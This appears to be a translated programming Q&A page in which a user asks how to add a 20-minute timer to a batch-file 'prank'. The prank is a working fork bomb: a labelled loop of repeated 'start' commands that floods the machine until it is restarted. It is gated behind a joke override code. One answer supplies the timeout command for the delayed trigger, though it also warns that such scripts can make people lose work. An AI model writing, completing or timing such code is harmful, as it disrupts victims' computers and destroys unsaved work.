Batch file 如何批量添加计时器

Batch file 如何批量添加计时器,batch-file,Batch File,我目前正在使用批处理,并做了一个恶作剧(你必须关闭你的电脑)和一个覆盖部分,让我找回所有的代码,所以我希望有错误代码的人在20分钟内激活我的恶作剧我想知道如何做的建议 :system cls set /p assurance=are you sure you want to do this (I AM NOT RESPONSIBLE FOR ANY DAMAGE DONE BY THIS COMMAND IF YOU ACCEPT TO MOVE ON.I WARN YOU THE ONLY W

我目前正在使用批处理,并做了一个恶作剧(你必须关闭你的电脑)和一个覆盖部分,让我找回所有的代码,所以我希望有错误代码的人在20分钟内激活我的恶作剧我想知道如何做的建议

:system
cls
set /p assurance=are you sure you want to do this (I AM NOT RESPONSIBLE FOR ANY DAMAGE DONE BY THIS COMMAND IF YOU ACCEPT TO MOVE ON.I WARN YOU THE ONLY WAY TO STOP THIS COMMAND IS RESTART YOUR PC.) 

echo -accept and move on
echo or
echo -stop this command
pause
if %assurance%==accept and move on goto initiate
if %assurance%==stop this command goto home
:wrong
cls
echo you have 20 minutes 
:initiate
cls
echo KILL CODE ACTIVATED ACTIVATED HAVE FUN!!!
:killer
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
goto killer


:override
cls
echo i need the override code to activate this command.
set /p code=code:

if %code%==42 is the answer to life but my answer is 2029 goto right
if not %code%==42 is the answer to life but my answer is 2029 goto wrong

:right

使用
超时

timeout /t 1200 :: Waits twenty minutes.

顺便说一下,你不应该这样写脚本。它们并不好笑,可能会导致您运行它们的计算机的当前用户失去工作或更糟。

我认为CPU不会使用这样的代码工作20分钟。哦,好吧,那么我们;;我将添加另一个代码或其他东西谢谢:Dty非常感谢您的帮助